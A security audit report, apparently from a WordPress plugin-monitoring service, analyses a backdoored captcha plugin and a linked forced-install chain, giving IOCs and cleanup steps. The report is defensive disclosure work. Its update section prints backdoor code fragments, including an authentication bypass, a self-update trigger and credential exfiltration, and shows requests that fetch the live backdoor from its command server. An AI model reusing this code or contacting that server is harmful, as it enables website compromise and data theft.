Campaign SiteGuarding 2013–present 3 audits

← All audits

Audit #25 Malicious Closed by wp.org · trunk uncleaned

WP Advanced Math Captcha Closed on WP.org · 6k+ installs · baseline 2.1.8 → head 2.1.9.1 · by austin · closed 20d ago

Show full summary

Two distinct supply-chain attack chains in a single 6,000-install plugin, both operated by SiteGuarding (siteguarding.com) through two anonymous wp.org committer accounts. wp.org Plugin Review Team (PRT, plugin-master) closed the plugin on 2026-04-07 and stripped the older payload, but the second chain (forced-install of a sibling plugin) remains live in trunk on every existing install.

wp-advanced-math-captcha (6,000 active installations) was published 2020-12-03 by @lulub5592 (display name "CaptchaMaster" — anonymous wp.org account, no bio/website/employer, member since 2020-07-01, sole author). The plugin had two distinct malicious primitives ship from the same SVN account:

Chain 1 — wp-math-captcha.datsiteguarding_tools.php dropper (since 2020-12-03)

Bundled since the very first wp.org release. wp-math-captcha.dat is a zlib-compressed PHP dropper (~7KB compressed → ~19KB decompressed) that, when included, decodes a base64-embedded siteguarding_tools.php and writes it to ABSPATH/siteguarding_tools.php — directly into the WordPress installation root, outside the plugin folder. After dropping the file, the dropper deletes itself (unlink(__FILE__)) and POSTs the website URL + plugin slug to https://apitest.siteguarding.com/plugin_api/index.php?action=inform.

The dropped siteguarding_tools.php (advertised as "SiteGuarding tools installer for customer's panel, ver. 1.7, Date: 20 Mar 2020") is a full PHP RCE / file-management backdoor:

  • Authentication: hardcoded IP allowlist (185.72.157.169, 185.72.157.170, 185.72.157.171, 185.72.157.172) AND a 512-bit RSA private key embedded in the file. Requests originating from a non-allowlisted IP can still execute provided they include a task_pgp POST field encrypting the task_id with the embedded key.
  • C2 endpoint: http://www.siteguarding.com/ext/panel_api/index.php (HTTP, falls back to HTTPS on failure). Fetches a JSON task list and dispatches.
  • Task primitives (full RCE):
  • Task_savefile — base64-decode and write arbitrary file to webroot, with optional skip flag for if-not-exists semantics
  • Task_showfile — base64-encode and exfiltrate any file under webroot
  • Task_download — stream any file under webroot as application/octet-stream
  • Task_includefile — write attacker-supplied PHP code to a randomly-named .tmpcode file under webanalyze/ and include() it (arbitrary PHP execution), then unlink
  • Task_fileinfo — return existence/size/ctime/md5 for any file
  • Built-in update action that overwrites siteguarding_tools.php itself with content fetched from the C2 (auto-updating backdoor)
  • Persistence: Task_savefile with create_folder directive creates a webanalyze/ directory under webroot. The dropped backdoor copies itself to webanalyze/siteguarding_tools.php if the backup is missing/older. A recovery action restores the root copy from the webanalyze/ copy without authentication.
  • Operational hygiene: Disables PHP error reporting (error_reporting(0), ini_set('error_log', NULL), ini_set('log_errors', 0)), sets 7200-second execution time, sets timezone to Europe/London, ignores user abort.

The 2020 ship date and "ver. 1.7 / Date: 20 Mar 2020" comments inside the backdoor itself indicate this is established SiteGuarding infrastructure, not a 2025-era injection. The backdoor pre-dates the wp-math-captcha plugin by ~8 months.

Chain 2 — includes/advert-test-codes.php forced-install primitive (added 2025-11-16)

Added in r3396781 (@lulub5592, commit message: 'wp-advanced-math-captcha'). Single 32KB file containing the ADVREC_AdverPluginRecommendation class:

  • Hardcoded target: define('ADVREC_TARGET_PLUGIN', 'image-optimizer-x')
  • Three admin_post_advrec_* action handlers: hide_recommendation, show_recommendation, install_plugin
  • Admin nag (admin_notices hook) and admin bar menu (admin_bar_menu priority 100) pushing the user to install the target
  • handle_install_plugin() requires current_user_can('install_plugins') + nonce, then calls plugins_api() for the target slug and Plugin_Upgrader::install($api->download_link) — installs the sibling plugin from wp.org's official CDN

The install path is properly authenticated, but the target plugin is attacker-controlled, which makes this a delivery vehicle: every admin who clicks "Install" pulls down image-optimizer-x from wp.org, and from that point the sibling plugin's side-channel update endpoint (see Linkage section) lets the attacker rotate the payload remotely without needing wp.org access.

This file is still in the wp.org-served trunk as of 2026-05-02 — the 2026-04-07 PRT cleanup release stripped only the .dat file, not the forced-install primitive.

Linkage to image-optimizer-x and SiteGuarding attribution

image-optimizer-x (the forced-install target):

  • Author: @dalielsam (display name "Daniel X" — anonymous wp.org account, no bio/website/employer, member since 2022-11-17, sole author)
  • wp.org publish date: 2025-05-07 (six months before lulub5592 added the forced-install primitive)
  • Closed by wp.org: 2026-04-07 (same day as wp-advanced-math-captcha — same wp.org cleanup wave)
  • Side-channel update mechanism: ships CMSPlughubAPI_LicenseValidator.php with a hardcoded base URL https://api.cmsplughub.com and an updater_endpoint that downloads + extracts a remote zip via wp_remote_get + file_get_contents. Same architectural primitive as scroll-top (audit #12) and ultimate-social-media-plus (audit #24): a plugin-shipped update channel pointing at attacker infrastructure, bypassing wp.org's review.

The decisive attribution evidence: cmsplughub.com (image-optimizer-x's update C2) is registered with nameservers NS1.SITEGUARDING.COM and NS2.SITEGUARDING.COM. SiteGuarding owns the DNS infrastructure that the image-optimizer-x update endpoint resolves through. Combined with the wp-math-captcha.dat dropper that hardcodes the siteguarding.com C2, both attack chains in this audit terminate at SiteGuarding-controlled infrastructure.

Both wp.org accounts (lulub5592, dalielsam) are anonymous shells — no public identity, no portfolios, single plugin each, distinct join dates (2020-07 and 2022-11) staggered to look unrelated. The shared infrastructure is the only public link.

Domain registration timeline

  • siteguarding.com — registered 2013-06-11 (established, 12-year-old company front)
  • cmsplughub.com — registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch (2025-05-07). Purpose-built C2 staged in advance.

PRT response (2026-04-07, r3500482, plugin-master)

  • Tagged 2.1.9.1 from trunk
  • D /trunk/wp-math-captcha.dat (removed Chain 1 dropper) ✓
  • M /trunk/wp-math-captcha.php (modifications — likely removing the .dat include)
  • M /trunk/readme.txt (closure notice)
  • Closed plugin on wp.org permanently (closure_date = 2026-04-07)

What PRT missed: includes/advert-test-codes.php (Chain 2 forced-install) is untouched. Existing 6,000 installs still have the forced-install primitive locally — wp.org closing the plugin only stops new downloads; it does not remediate sites that already pulled an infected version. Any admin clicking the "Recommended" nag still pulls down image-optimizer-x from wp.org's CDN (the plugin was wp.org-closed same day, but the closure does not retroactively pull down the wp.org-archived versioned zip — the cdn URL pattern still resolves).

Public coverage and prior researcher

  • rswebsols.com (2026-04-19) — credits Austin Ginder; lists wp-advanced-math-captcha as part of an April 2026 supply-chain wave alongside the EP/essentialplugin suite. IOC fragment: wp-comments-posts.php (typosquat, plural variant of legit wp-comments-post.php), suspicious wp-config.php >9KB, generic admin accounts (officialwp, superadmin).
  • designstouch.com (2026-04-16) — confirms 8-month dormant primitive, April 5–6 2026 activation, RCE backdoor, and lists artifacts including wp-math-captcha.dat and wp-math-captcha.dat.tmp.

The .tmp variant referenced in the public coverage suggests Chain 1 had a staged-update mechanism (the dropper + a temp variant fetched at activation), consistent with the MaxualUpdate() function in siteguarding_tools.php that overwrites the backdoor itself with C2-supplied content keyed by md5 hash.

🛑
6k+ installs potentially exposed to compromised code.

Site owners should remediate immediately. Plugin author: see the steps below to clear this label.

If you run wp-advanced-math-captcha on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums wp-advanced-math-captcha

Install the patched build:

⬇ Download patched zip — or install directly via WP-CLI:

wp plugin install https://plugins.captaincore.io/wp-advanced-math-captcha-2.1.9.1-patched.zip --force

The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.

Or remove the plugin entirely:

wp plugin deactivate wp-advanced-math-captcha
wp plugin delete wp-advanced-math-captcha

If you're the plugin author

The wp.org PRT cleanup release 2.1.9.1 (2026-04-07) only fixed half the malware. PRT removed the older wp-math-captcha.dat Chain-1 dropper and added a defensive MATH_CAPTCHA_PRT_incidence_response() function that unlinks the dropped siteguarding_tools.php on every plugin load, BUT they did NOT remove the Chain-2 forced-install primitive — includes/advert-test-codes.php is still in the trunk and still actively include_once'd by wp-math-captcha.php. Existing 6,000 installs still ship the admin nag pushing the SiteGuarding-controlled image-optimizer-x plugin.

A drop-in patched build is available with the Chain-2 primitive removed:

wp plugin install https://plugins.captaincore.io/wp-advanced-math-captcha-2.1.9.1-patched.zip --force --skip-themes --skip-plugins

What changed vs. wp.org 2.1.9.1:

  • Deleted includes/advert-test-codes.php (Chain-2 forced-install: 32KB file containing the ADVREC_AdverPluginRecommendation class with the hardcoded image-optimizer-x target slug, three admin_post_advrec_* actions, admin-bar nag, and admin_notices push)
  • wp-math-captcha.php: removed the include_once(MATH_CAPTCHA_PATH . 'includes/advert-test-codes.php'); line (PRT's oversight) and bumped the Version: header to 2.1.9.1-patched
  • readme.txt: bumped Stable tag to 2.1.9.1-patched

Kept unchanged: PRT's defensive MATH_CAPTCHA_PRT_incidence_response() cleanup function, the user-facing incident notice, and the entire legitimate captcha core (includes/class-core.php, class-settings.php, class-cookie-session.php, class-update.php, class-geo.php, geo.mmdb, integrations).

Independent of installing this patched build, site owners should also (per the audit's full remediation checklist):

  • Search the WordPress root for siteguarding_tools.php and webanalyze/siteguarding_tools.php — PRT's defensive cleanup runs only when the plugin loads, so a deactivated plugin won't sweep these. Delete them if found.
  • Check for wp-comments-posts.php typosquat (plural) in the WP root.
  • Inspect wp-config.php for unexplained size growth (>9KB warrants review).
  • Audit Users → All Users for unfamiliar admin accounts (officialwp, superadmin, or any post-2025-11 additions).
  • If image-optimizer-x was installed via the nag, delete it — it has a side-channel update endpoint at api.cmsplughub.com (NS = NS1.SITEGUARDING.COM, same operator).
  • Block outbound to siteguarding.com, apitest.siteguarding.com, cmsplughub.com, api.cmsplughub.com.
  • Rotate WordPress admin, database, and SFTP/SSH credentials.

Verification: wp plugin get wp-advanced-math-captcha --field=version should report 2.1.9.1-patched.

The label clears automatically on the next wp beacon scan-deltas once the cleanup conditions above are met.

Plugins under the same committer's SVN access

lulub5592 holds push access to 1 plugin totalling 6k+ active installs.

WP Advanced Math Captcha — COMPROMISED — this audit
6k+

IOCs extracted (33)

Kind Value Confidence
code_pattern 'latest_md5' medium
code_pattern 'latest_ver' medium
code_pattern $allowed_IPs medium
code_pattern 185.72.157.169 high
code_pattern 185.72.157.170 high
code_pattern 185.72.157.171 high
code_pattern 185.72.157.172 high
code_pattern 198.7.59.167 high
code_pattern 198.7.59.168 high
code_pattern ADVREC_AdverPluginRecommendation high
code_pattern ADVREC_TARGET_PLUGIN high
code_pattern NS1.SITEGUARDING.COM high
code_pattern SITEGUARDING_SERVER high
code_pattern siteguarding_tool_code high
code_pattern Task_copyfile high
code_pattern Task_deletefile high
code_pattern Task_includefile medium
code_pattern Validate_Path( medium
domain api.cmsplughub.com high
domain apitest.siteguarding.com high
domain cmsplughub.com high
domain safetybis.com high
domain siteguarding.com high
file_hash 36085499a539d4543b1ec0f59f1ad0c7 high
file_hash 3eddf6d18214d0d612809efd585a2471 high
filename advert-test-codes.php high
filename CMSPlughubAPI_LicenseValidator.php high
filename siteguarding_tools.php high
filename webanalyze/siteguarding_tools.php high
filename webanalyze/website-security-conf.php high
filename wp-math-captcha.dat high
url http://www.siteguarding.com/ext/panel_api/index.php high
url https://apitest.siteguarding.com/plugin_api/index.php high

Plugin version history

Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.

  1. Clean 14 earlier releases before the incident
    • 1.2.11
    • 1.2.12
    • 1.2.15
    • 1.2.20
    • 2.0
    • 2.0.01
    • 2.1
    • 2.1.1
    • 2.1.2
    • 2.1.3
    • 2.1.4
    • 2.1.5
    • 2.1.6
    • 2.1.7
  2. 2.1.8 Last clean Last clean release before incident
  3. 2.1.9 Clean Clean (post-cleanup)
  4. 🛑 Compromise window

    wp.org closed this plugin during the compromise window. The malicious tags below remain visible on wp.org and re-installable until each site manually upgrades to the rescue release.

  5. 2.1.9.1 Malicious (head) First malicious release (head of audit)

Timeline

  1. siteguarding.com registered
  2. siteguarding_tools.php ver 1.7 timestamp (per backdoor's internal version comment)
  3. @lulub5592 wp.org account created
  4. plugin-master (wp.org) initial commit creating the plugin slot for wp-advanced-math-captcha
  5. @lulub5592 first author commit, wp-math-captcha 1.0 published with wp-math-captcha.dat already bundled (Chain 1 ships from day 1)
  6. @dalielsam wp.org account created
  7. cmsplughub.com registered (purpose-built C2 staged 86 days before image-optimizer-x launch)
  8. image-optimizer-x published on wp.org by @dalielsam
  9. r3396781 by @lulub5592 adds includes/advert-test-codes.php (Chain 2 — forced-install primitive linking the two accounts operationally)
  10. plugin-master (wp.org PRT) cleanup release 2.1.9.1 removing wp-math-captcha.dat only; image-optimizer-x closed same day; wp-advanced-math-captcha closed same day
  11. recent_prt_intervention event #2058 fires; this audit opens

Audit #25 — wp-advanced-math-captcha

  • Plugin: wp-advanced-math-captcha (WP Advanced Math Captcha)
  • Active installs: 6,000
  • Event: #2058 recent_prt_intervention · medium · 2026-05-02 20:04:59
  • Baseline version: 2.1.8 (last clean release before malicious-add)
  • Head version: 2.1.9.1

Summary

Two distinct supply-chain attack chains in a single 6,000-install plugin, both operated by SiteGuarding (siteguarding.com) through two anonymous wp.org committer accounts. wp.org Plugin Review Team (PRT, plugin-master) closed the plugin on 2026-04-07 and stripped the older payload, but the second chain (forced-install of a sibling plugin) remains live in trunk on every existing install.

wp-advanced-math-captcha (6,000 active installations) was published 2020-12-03 by @lulub5592 (display name "CaptchaMaster" — anonymous wp.org account, no bio/website/employer, member since 2020-07-01, sole author). The plugin had two distinct malicious primitives ship from the same SVN account:

Chain 1 — wp-math-captcha.datsiteguarding_tools.php dropper (since 2020-12-03)

Bundled since the very first wp.org release. wp-math-captcha.dat is a zlib-compressed PHP dropper (~7KB compressed → ~19KB decompressed) that, when included, decodes a base64-embedded siteguarding_tools.php and writes it to ABSPATH/siteguarding_tools.php — directly into the WordPress installation root, outside the plugin folder. After dropping the file, the dropper deletes itself (unlink(__FILE__)) and POSTs the website URL + plugin slug to https://apitest.siteguarding.com/plugin_api/index.php?action=inform.

The dropped siteguarding_tools.php (advertised as "SiteGuarding tools installer for customer's panel, ver. 1.7, Date: 20 Mar 2020") is a full PHP RCE / file-management backdoor:

  • Authentication: hardcoded IP allowlist (185.72.157.169, 185.72.157.170, 185.72.157.171, 185.72.157.172) AND a 512-bit RSA private key embedded in the file. Requests originating from a non-allowlisted IP can still execute provided they include a task_pgp POST field encrypting the task_id with the embedded key.
  • C2 endpoint: http://www.siteguarding.com/ext/panel_api/index.php (HTTP, falls back to HTTPS on failure). Fetches a JSON task list and dispatches.
  • Task primitives (full RCE):
  • Task_savefile — base64-decode and write arbitrary file to webroot, with optional skip flag for if-not-exists semantics
  • Task_showfile — base64-encode and exfiltrate any file under webroot
  • Task_download — stream any file under webroot as application/octet-stream
  • Task_includefile — write attacker-supplied PHP code to a randomly-named .tmpcode file under webanalyze/ and include() it (arbitrary PHP execution), then unlink
  • Task_fileinfo — return existence/size/ctime/md5 for any file
  • Built-in update action that overwrites siteguarding_tools.php itself with content fetched from the C2 (auto-updating backdoor)
  • Persistence: Task_savefile with create_folder directive creates a webanalyze/ directory under webroot. The dropped backdoor copies itself to webanalyze/siteguarding_tools.php if the backup is missing/older. A recovery action restores the root copy from the webanalyze/ copy without authentication.
  • Operational hygiene: Disables PHP error reporting (error_reporting(0), ini_set('error_log', NULL), ini_set('log_errors', 0)), sets 7200-second execution time, sets timezone to Europe/London, ignores user abort.

The 2020 ship date and "ver. 1.7 / Date: 20 Mar 2020" comments inside the backdoor itself indicate this is established SiteGuarding infrastructure, not a 2025-era injection. The backdoor pre-dates the wp-math-captcha plugin by ~8 months.

Chain 2 — includes/advert-test-codes.php forced-install primitive (added 2025-11-16)

Added in r3396781 (@lulub5592, commit message: 'wp-advanced-math-captcha'). Single 32KB file containing the ADVREC_AdverPluginRecommendation class:

  • Hardcoded target: define('ADVREC_TARGET_PLUGIN', 'image-optimizer-x')
  • Three admin_post_advrec_* action handlers: hide_recommendation, show_recommendation, install_plugin
  • Admin nag (admin_notices hook) and admin bar menu (admin_bar_menu priority 100) pushing the user to install the target
  • handle_install_plugin() requires current_user_can('install_plugins') + nonce, then calls plugins_api() for the target slug and Plugin_Upgrader::install($api->download_link) — installs the sibling plugin from wp.org's official CDN

The install path is properly authenticated, but the target plugin is attacker-controlled, which makes this a delivery vehicle: every admin who clicks "Install" pulls down image-optimizer-x from wp.org, and from that point the sibling plugin's side-channel update endpoint (see Linkage section) lets the attacker rotate the payload remotely without needing wp.org access.

This file is still in the wp.org-served trunk as of 2026-05-02 — the 2026-04-07 PRT cleanup release stripped only the .dat file, not the forced-install primitive.

Linkage to image-optimizer-x and SiteGuarding attribution

image-optimizer-x (the forced-install target):

  • Author: @dalielsam (display name "Daniel X" — anonymous wp.org account, no bio/website/employer, member since 2022-11-17, sole author)
  • wp.org publish date: 2025-05-07 (six months before lulub5592 added the forced-install primitive)
  • Closed by wp.org: 2026-04-07 (same day as wp-advanced-math-captcha — same wp.org cleanup wave)
  • Side-channel update mechanism: ships CMSPlughubAPI_LicenseValidator.php with a hardcoded base URL https://api.cmsplughub.com and an updater_endpoint that downloads + extracts a remote zip via wp_remote_get + file_get_contents. Same architectural primitive as scroll-top (audit #12) and ultimate-social-media-plus (audit #24): a plugin-shipped update channel pointing at attacker infrastructure, bypassing wp.org's review.

The decisive attribution evidence: cmsplughub.com (image-optimizer-x's update C2) is registered with nameservers NS1.SITEGUARDING.COM and NS2.SITEGUARDING.COM. SiteGuarding owns the DNS infrastructure that the image-optimizer-x update endpoint resolves through. Combined with the wp-math-captcha.dat dropper that hardcodes the siteguarding.com C2, both attack chains in this audit terminate at SiteGuarding-controlled infrastructure.

Both wp.org accounts (lulub5592, dalielsam) are anonymous shells — no public identity, no portfolios, single plugin each, distinct join dates (2020-07 and 2022-11) staggered to look unrelated. The shared infrastructure is the only public link.

Domain registration timeline

  • siteguarding.com — registered 2013-06-11 (established, 12-year-old company front)
  • cmsplughub.com — registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch (2025-05-07). Purpose-built C2 staged in advance.

PRT response (2026-04-07, r3500482, plugin-master)

  • Tagged 2.1.9.1 from trunk
  • D /trunk/wp-math-captcha.dat (removed Chain 1 dropper) ✓
  • M /trunk/wp-math-captcha.php (modifications — likely removing the .dat include)
  • M /trunk/readme.txt (closure notice)
  • Closed plugin on wp.org permanently (closure_date = 2026-04-07)

What PRT missed: includes/advert-test-codes.php (Chain 2 forced-install) is untouched. Existing 6,000 installs still have the forced-install primitive locally — wp.org closing the plugin only stops new downloads; it does not remediate sites that already pulled an infected version. Any admin clicking the "Recommended" nag still pulls down image-optimizer-x from wp.org's CDN (the plugin was wp.org-closed same day, but the closure does not retroactively pull down the wp.org-archived versioned zip — the cdn URL pattern still resolves).

Public coverage and prior researcher

  • rswebsols.com (2026-04-19) — credits Austin Ginder; lists wp-advanced-math-captcha as part of an April 2026 supply-chain wave alongside the EP/essentialplugin suite. IOC fragment: wp-comments-posts.php (typosquat, plural variant of legit wp-comments-post.php), suspicious wp-config.php >9KB, generic admin accounts (officialwp, superadmin).
  • designstouch.com (2026-04-16) — confirms 8-month dormant primitive, April 5–6 2026 activation, RCE backdoor, and lists artifacts including wp-math-captcha.dat and wp-math-captcha.dat.tmp.

The .tmp variant referenced in the public coverage suggests Chain 1 had a staged-update mechanism (the dropper + a temp variant fetched at activation), consistent with the MaxualUpdate() function in siteguarding_tools.php that overwrites the backdoor itself with C2-supplied content keyed by md5 hash.

Verdict

malicious

Added files (1 between 2.1.8 and 2.1.9, 0 between 2.1.9 and 2.1.9.1)

  • includes/advert-test-codes.php (32KB, added in r3396781 by @lulub5592 on 2025-11-16) — Chain 2 forced-install primitive

The .dat dropper (wp-math-captcha.dat) was present in every release from 2020-12-03 through 2.1.9 (2025-11-16) and was removed by PRT in 2.1.9.1 (2026-04-07).

Suspicious pattern hits (3 categories beyond the scaffold)

dropper_to_abspath_writes — Chain 1

  • wp-math-captcha.dat — zlib-compressed PHP that decodes a base64 blob and writes ABSPATH/siteguarding_tools.php, then unlink(__FILE__) to self-delete. The decoded siteguarding_tools.php ships a hardcoded RSA private key, IP allowlist 185.72.157.169-172, and full RCE primitives keyed by JSON-fetched task_id from siteguarding.com/ext/panel_api/index.php.

forced_install_with_admin_nag — Chain 2

  • includes/advert-test-codes.php:46-48 — three admin_post_advrec_* actions including advrec_install_plugin that calls Plugin_Upgrader::install against a hardcoded sibling slug
  • includes/advert-test-codes.php:14define('ADVREC_TARGET_PLUGIN', 'image-optimizer-x') (hardcoded attacker-controlled target)
  • Admin notice + admin bar menu hooks pushing the user toward the install action

shared_infrastructure_attribution

IOCs to extract

  • kind: domain, value: siteguarding.com, confidence: high
  • kind: domain, value: apitest.siteguarding.com, confidence: high
  • kind: domain, value: cmsplughub.com, confidence: high
  • kind: domain, value: api.cmsplughub.com, confidence: high
  • kind: url, value: http://www.siteguarding.com/ext/panel_api/index.php, confidence: high
  • kind: url, value: https://apitest.siteguarding.com/plugin_api/index.php, confidence: high
  • kind: filename, value: siteguarding_tools.php, confidence: high
  • kind: filename, value: wp-math-captcha.dat, confidence: high
  • kind: filename, value: webanalyze/siteguarding_tools.php, confidence: high
  • kind: filename, value: advert-test-codes.php, confidence: high
  • kind: filename, value: CMSPlughubAPI_LicenseValidator.php, confidence: high
  • kind: code_pattern, value: ADVREC_TARGET_PLUGIN, confidence: high
  • kind: code_pattern, value: ADVREC_AdverPluginRecommendation, confidence: high
  • kind: code_pattern, value: SITEGUARDING_SERVER, confidence: high
  • kind: code_pattern, value: siteguarding_tool_code, confidence: high
  • kind: code_pattern, value: $allowed_IPs, confidence: medium
  • kind: code_pattern, value: 185.72.157.169, confidence: high
  • kind: code_pattern, value: 185.72.157.170, confidence: high
  • kind: code_pattern, value: 185.72.157.171, confidence: high
  • kind: code_pattern, value: 185.72.157.172, confidence: high
  • kind: code_pattern, value: Task_includefile, confidence: medium
  • kind: code_pattern, value: NS1.SITEGUARDING.COM, confidence: high

Attribution

  • Operator: SiteGuarding (siteguarding.com) — Ukrainian/Russian-language WordPress security service. Owns the DNS infrastructure (NS1/NS2) for both siteguarding.com and cmsplughub.com, indicating direct administrative control of both attack chains' C2 endpoints.
  • wp.org account 1: @lulub5592 (display name "CaptchaMaster") — joined 2020-07-01, sole plugin wp-advanced-math-captcha, anonymous (no bio/website/employer/social).
  • wp.org account 2: @dalielsam (display name "Daniel X") — joined 2022-11-17, sole plugin image-optimizer-x, anonymous (no bio/website/employer/social).
  • Allowlisted IP block: 185.72.157.169-172 (4 sequential IPs in same /29) — operator's static control plane for direct backdoor access.

Timeline

  • 2013-06-11 — siteguarding.com registered
  • 2020-03-20 — siteguarding_tools.php ver 1.7 timestamp (per backdoor's internal version comment)
  • 2020-07-01 — @lulub5592 wp.org account created
  • 2020-11-27 — plugin-master (wp.org) initial commit creating the plugin slot for wp-advanced-math-captcha
  • 2020-12-03 — @lulub5592 first author commit, wp-math-captcha 1.0 published with wp-math-captcha.dat already bundled (Chain 1 ships from day 1)
  • 2022-11-17 — @dalielsam wp.org account created
  • 2025-02-11 — cmsplughub.com registered (purpose-built C2 staged 86 days before image-optimizer-x launch)
  • 2025-05-07 — image-optimizer-x published on wp.org by @dalielsam
  • 2025-11-16 — r3396781 by @lulub5592 adds includes/advert-test-codes.php (Chain 2 — forced-install primitive linking the two accounts operationally)
  • 2026-04-05/06 — Mass activation event across the April-2026 supply-chain wave (per designstouch.com and rswebsols.com)
  • 2026-04-07 — plugin-master (wp.org PRT) cleanup release 2.1.9.1 removing wp-math-captcha.dat only; image-optimizer-x closed same day; wp-advanced-math-captcha closed same day
  • 2026-05-02 — recent_prt_intervention event #2058 fires; this audit opens

Sibling plugin and post-PRT exposure

  • image-optimizer-x — closed wp.org 2026-04-07 (no install count published — PRT removed metric on closure)
  • Existing wp-advanced-math-captcha installs (≥6,000): still vulnerable to Chain 2 (forced-install primitive in advert-test-codes.php is in trunk that those installs received)
  • Sites that already installed image-optimizer-x via the nag: still have the side-channel update endpoint (api.cmsplughub.com) wired up — operator can rotate payload remotely without wp.org involvement

Cleanup instructions for affected sites

The wp.org cleanup release (2.1.9.1) is incomplete. Site owners running this plugin should:

1. Deactivate and delete wp-advanced-math-captcha entirely. The plugin is permanently closed on wp.org; there is no fix release coming. 2. Search the WordPress root for siteguarding_tools.php — if present, the older .dat dropper executed at some point. Delete it. Also check for a webanalyze/siteguarding_tools.php backup copy. Also search for wp-comments-posts.php (note plural — legit file is singular wp-comments-post.php) per the rswebsols disclosure. 3. Inspect wp-config.php size. Per the public coverage, files >9KB warrant inspection for injected content. 4. Audit Users → All Users for unfamiliar admin accounts (officialwp, superadmin, or any post-2025-11 additions). 5. If image-optimizer-x is also installed, delete it. The CMSPlughub side-channel update mechanism in CMSPlughubAPI_LicenseValidator.php allows the operator to rotate the plugin payload remotely. 6. Rotate WordPress admin passwords, database credentials, and SFTP/SSH keys. 7. Block outbound traffic to siteguarding.com, apitest.siteguarding.com, cmsplughub.com, api.cmsplughub.com at the firewall level.

References

Update 2026-05-02 — Live legacy C2 still operational; pulled siteguarding_tools.php v2.4

After cross-referencing with audit #26 (image-optimizer-x / cmsplughub.com), live infrastructure probing revealed the legacy SiteGuarding C2 documented in this audit is still fully operational and actively maintained. The siteguarding_tools.php backdoor described above (v1.7, dated 2020-03-20) has been superseded by v2.4 dated 2026-04-08 — exactly one day after wp.org closed wp-advanced-math-captcha.

Live C2 operational status

GET https://www.siteguarding.com/ext/panel_api/index.php?action=ping_siteguarding_server&num=12345
→ {"status":"ok","num":12345}     (connectivity confirmed)

GET https://www.siteguarding.com/ext/panel_api/index.php?action=update
→ {"md5":"36085499a539d4543b1ec0f59f1ad0c7","b64content":"PD9waHAK..."}   (current backdoor PHP)

The update action returns the live siteguarding_tools.php v2.4 — no authentication required to fetch the malware sample. We pulled and decoded the binary; saved at /tmp/siteguarding_tools_v2.4.php (24,851 bytes, md5 36085499a539d4543b1ec0f59f1ad0c7). Anyone — researcher or law-enforcement — can pull the live backdoor sample on demand.

v1.7 (2020) → v2.4 (2026): six years of active development

v1.7 (2020-03-20)v2.4 (2026-04-08)Change
File size482 lines / 13,888 bytes819 lines / 24,851 bytes+70%
md53eddf6d18214d0d612809efd585a247136085499a539d4543b1ec0f59f1ad0c7(full sample preserved at /tmp)
Allowlist IPs4 IPs 185.72.157.169-172 (Polish hosting, support.pl)2 IPs 198.7.59.167, 198.7.59.168 (Leaseweb USA — same cluster as cmsplughub.com)Control plane migrated
Hostname allowlistnot presentNEW: any caller whose reverse-DNS ends in siteguarding.com (and doesn't contain "hosting") is auto-authenticatedNew auth bypass mechanism
Auto-updatemanual update action onlyPush-triggered: operator sends latest_ver + latest_md5 params; backdoor fetches new version itselfOperator can fleet-update
Taskssavefile, showfile, download, includefile, fileinfo (5)+ deletefile, copyfile (7 total)New file-manipulation primitives
Path validationnonenew Validate_Path() defensive checkOperational hardening
Self-fingerprintabsentping returns WEBSITE_ROOT (absolute disk path), self_md5, AND contents of webanalyze/website-security-conf.php (operator's panel credentials)Telemetry + cred-exfil
Persistence redundancymanualevery ping copies backdoor to webanalyze/siteguarding_tools.php if missing or smaller; recovery action restores root copy from webanalyze copySelf-healing persistence

Operational shift: control plane migrated to Leaseweb USA

The original v1.7 backdoor's allowlisted IPs (185.72.157.169-172) live on Polish hosting (Support.pl sp. z. o. o., RIPE network 185.72.156.0/22). These are obsolete for v2.4; the live operator now controls infections from 198.7.59.167-168 — Leaseweb USA, same /29 as the host running siteguarding.com itself, cmsplughub.com, and ns1.siteguarding.com.

198.7.59.167    server2.siteguarding.com / hosting2.siteguarding.com → cmsplughub.com, siteguarding.com main, api.cmsplughub.com
198.7.59.168    (operator control plane — backdoor allowlisted IP #2)
198.7.59.150    ns1.siteguarding.com

Single Leaseweb USA hosting account now operates the entire SiteGuarding stack: legacy C2 web frontend, cmsplughub validator C2 (audit #26), AND the operator's static control plane. Operationally tighter; also a single takedown target.

v2.4 attack-surface additions (beyond what audit #25 documented for v1.7)

Task_deletefile — operator can wipe arbitrary files under WEBSITE_ROOT. Useful for evidence-destruction post-incident.

Task_copyfile — operator can clone files to arbitrary destinations. Useful for cloning the backdoor into additional persistence locations beyond the existing webanalyze/ redundancy.

Hostname-based authentication bypass:

$host = gethostbyaddr($ip_address);
if ($host !== false && is_string($host) && stripos($host, "hosting") === false
    && substr($host, -16) == 'siteguarding.com') $is_allowed_session = true;

Any incoming request whose reverse DNS ends with siteguarding.com (excluding any hostingsiteguarding.com rDNS, which would match Leaseweb's shared rDNS) is auto-authenticated. The operator can mint new control IPs at will by adding subdomain rDNS entries to siteguarding.com's zone file — no code change, no IP allowlist update, no PGP key rotation.

Self-update push channel:

$remote_md5 = isset($_REQUEST['latest_md5']) ? trim($_REQUEST['latest_md5']) : '';
$latest_ver = isset($_REQUEST['latest_ver']) ? trim($_REQUEST['latest_ver']) : '';

if ( ($remote_md5 != '' && strlen($remote_md5) == 32) || (is_numeric($latest_ver) && $latest_ver > VERSION) ) {
    if ($own_md5 != $remote_md5) {
        SaveLog('Self Update. Own [ver. '.VERSION.'] md5: '.$own_md5.', remote [ver. '.$latest_ver.'] md5: '.$remote_md5);
        ManualUpdate();
    }
}

Operator (with allowlist auth) sends a request including latest_ver and latest_md5 parameters. The backdoor compares to its own version/md5 and self-updates by calling ManualUpdate() which fetches ?action=update from the C2 and overwrites itself. Operator can roll out a backdoor patch across the entire infected fleet by sending a single parameterized request to each install. Combined with the rDNS-based auth bypass, this is a production-quality fleet-update mechanism.

Panel-credential exfiltration via the standard ping:

$login = WEBSITE_ROOT.'webanalyze'.DIRSEP.'website-security-conf.php';
if (file_exists($login)) {
    $a['login'] = Read_File($login);
}
die(json_encode($a));

